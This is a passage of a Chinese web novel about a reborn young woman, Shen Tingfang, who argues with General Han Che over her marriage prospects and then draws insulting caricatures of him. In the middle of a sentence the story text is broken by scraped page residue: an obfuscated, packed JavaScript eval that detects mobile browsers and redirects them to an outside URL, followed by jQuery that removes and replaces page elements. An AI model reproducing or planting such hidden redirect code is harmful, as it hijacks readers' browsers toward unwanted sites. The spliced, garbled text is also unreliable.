赵承钧的挚友能是什么好人?
沈庭芳垂下双眸。
“写这封信的缘故,我已经告诉韩将军了,请韩将军往后不要再来打扰我。”
半晌没听见动静。
沈庭芳忍不住悄悄抬头,对面的韩彻正含笑盯着她。
她心头一紧,下意识地往脸上摸。
该不会脸上还沾着点心渣吧?
“你以为我会信?”
沈庭芳微怒:“信与不信,全凭韩将军。”
她昂着头,不再躲避韩彻审视的目光,甚至隐隐有几分挑衅。
顾侯帐中的先锋将又如何?
再如何凶悍,总要讲理的。
她就不信,韩彻会对她动用私刑。
韩彻目光微沉。
这姑娘可不是几句话就能吓倒的。
逼得狠了,反而会适得其反。
他站起身,踱步到门口。
“沈姑娘,我韩彻向来知恩图报,你既然提醒了我,那我有几句话也要提醒你。”
“赵承钧并非你的良配,无论你对他有什么心思,往后还是打消了这个念头吧。”
一股燥热渐渐卷上沈庭芳心头,继而袭上她的面庞。
她好像被扔进了火堆里,大火一寸一寸舔舐她的肌肤,每一寸肌肤都在嚷着疼。
她不明白。
她对赵承钧已经冷漠到如此地步,为何周边的人,还以为她有意赵承钧?
到底要她做到什么地步,这些人才肯放过她?
要她以死明志吗?
佳人面庞如红霞,含羞带怯,似嗔似怒,一双美目里有不甘,愤怒……仔细一瞧,甚至还有一丝苍凉。
那是一抹看惯世态炎凉的苍凉悲怆,绝不属于这个年龄的女子该有的凄苦。
韩彻很是诧异。
沈庭芳如此刚强,怎会被赵承钧那小子伤成这样,竟好似看透红尘了一般。
他再次心软。
“正如你所言,他不是好人,我提醒你,也是怕你被他伤着。”
这样带着一点讨好意味的语气,对韩彻来说,已经是很难得了。
沈庭芳长舒一口气。
罢了,人家提醒她也是好意。
这一世她对赵承钧冷冷清清,在旁人看来,依旧是她与赵承钧纠缠不清。
不知道上一世她死皮赖脸地缠着赵承钧,外人是怎么看她的。
她捂着脸叹口气,怏怏地说了一声多谢。
不知怎的,韩彻的心又软了几分。
心高气傲的姑娘家,被人连番打击羞辱,会很沮丧吧?
“你不用灰心,你很好,是赵承钧错过了。”
韩彻不擅长夸人。
这句夸人的话干巴巴的,听不出半分诚意。
沈庭芳还是领韩彻的情。
她抿着嘴笑笑,唇边的梨涡若隐若现。
本想谦虚一二,到了嘴边的话却成了自夸。
“他虽是伯府家的公子,我也不差,这世上的男子千千万,比他好的不知凡几,我怎会找不到一个真心待我的人呢?”
韩彻轻笑:“有志气,不过你也千万不要答应许敬贤,他与你不相配。”
话一说出口,两个人都有些怔忪。
沈庭芳没想到韩彻又说到许敬贤身上去了。
绕来绕去,都在说她的亲事。
他又不是她的亲朋故交,说她的亲事,是不是太冒昧了?
韩彻也有些懊恼。
他怎么变得这么爱管闲事。
沈庭芳嫁给谁,与他何干?
转头又自忖。
难得撞见一个如此有趣的姑娘家,不忍心看着姑娘家辜负一生,也在情理之中。
韩彻找到了继续劝沈庭芳的理由,便咳嗽两声:“许敬贤找的是一个贤妻良母,能替他孝敬双亲,生儿育女,处置家事,打点交际,你们不适合,勉强成亲,恐怕会成为一对怨偶。”
沈庭芳浑身一震。
她上一世不正是这样的贤妻良母吗?
赵承钧在边关征战四方,她留在京城中蝇营狗苟,偌大伯府全靠她一人打理。
赵父爱收藏古玩,赵母爱听戏游园,二人都不善经营,每年发下来的俸禄根本就不够用,靠着祖上传下来的家业,勉强支撑着伯府的空架子。
沈庭芳一嫁过去,赵母就赶紧把家里的中馈丢给沈庭芳。
她明知道赵母是为了叫她填补家里的窟窿,为了赵承钧,也不得不硬着头皮,把自己的嫁妆拿出来,补上外债。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160709|196597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她以为她处处为了赵家着想,赵承钧会生出一丝一毫的感激。
到头来,却是她一厢情愿。
重活一世,她不要再做贤妻良母,她不想再被困在深宅大院,一辈子不得自由。
她本就不是贤妻良母,何必要为难自己?
心里虽然这么想,但沈庭芳嘴上还是要为自己解释一二。
“韩将军根本不了解我,如何就下了断定?难道将军也会看相?”
“会,”韩彻毫不犹豫地点头,“我一看你便知,你是个不安分的。”
明明是一只鸟儿,就该翱翔于长空。
却非要剪断她的羽翼,将她困在牢笼中。
谁能忍心?
得到这样的评价,沈庭芳意外的没有生气。
她如今只想赶紧把韩彻送走。
再跟韩彻聊下去,她怕自己所有的秘密都会被韩彻看透。
“韩将军,天色不早了……”
才说到一半,韩彻忽然迈出屋子:“天色不早了,今日叨扰沈姑娘已久,韩某这就辞别,请沈姑娘这几日不要乱跑,过后韩某若是有事相问,还会来找沈姑娘的。”
方才对韩彻涌出来的那一丁点好感,荡然无存。
这是把她当囚犯了吗!
沈庭芳咬着牙,硬是等着韩彻出门,才叫来了庄头娘子:“嫂子认不认识会做法的道婆,请那道婆给我扎个小人,我要天天用针扎他!”
庄头娘子吓了一跳:“姑娘,这可使不得,巫蛊之术乃是大罪,是要杀头的!”
沈庭芳泄了气。
她当然知道巫蛊之术要不得,只是一时气上头了而已。
夜里便在书案上铺了几层纸,画了好多个韩彻。
每画一个,就在这小人的旁边写上小王八小混蛋阎罗王等等骂人的话。
亦或者在小人的脸上画个痦子,点一把胡须。
想一想还是不解恨。
干脆就把自己画上去。
一个“沈庭芳”甩着长鞭,脚底下跪着“韩彻”,旁边小字上写着姑娘饶命。
盯着那跪着的小小韩彻看了半晌,沈庭芳才心情舒畅,命人把这画挂到中堂去。
反正这里都是自己人,她才不怕人看见呢。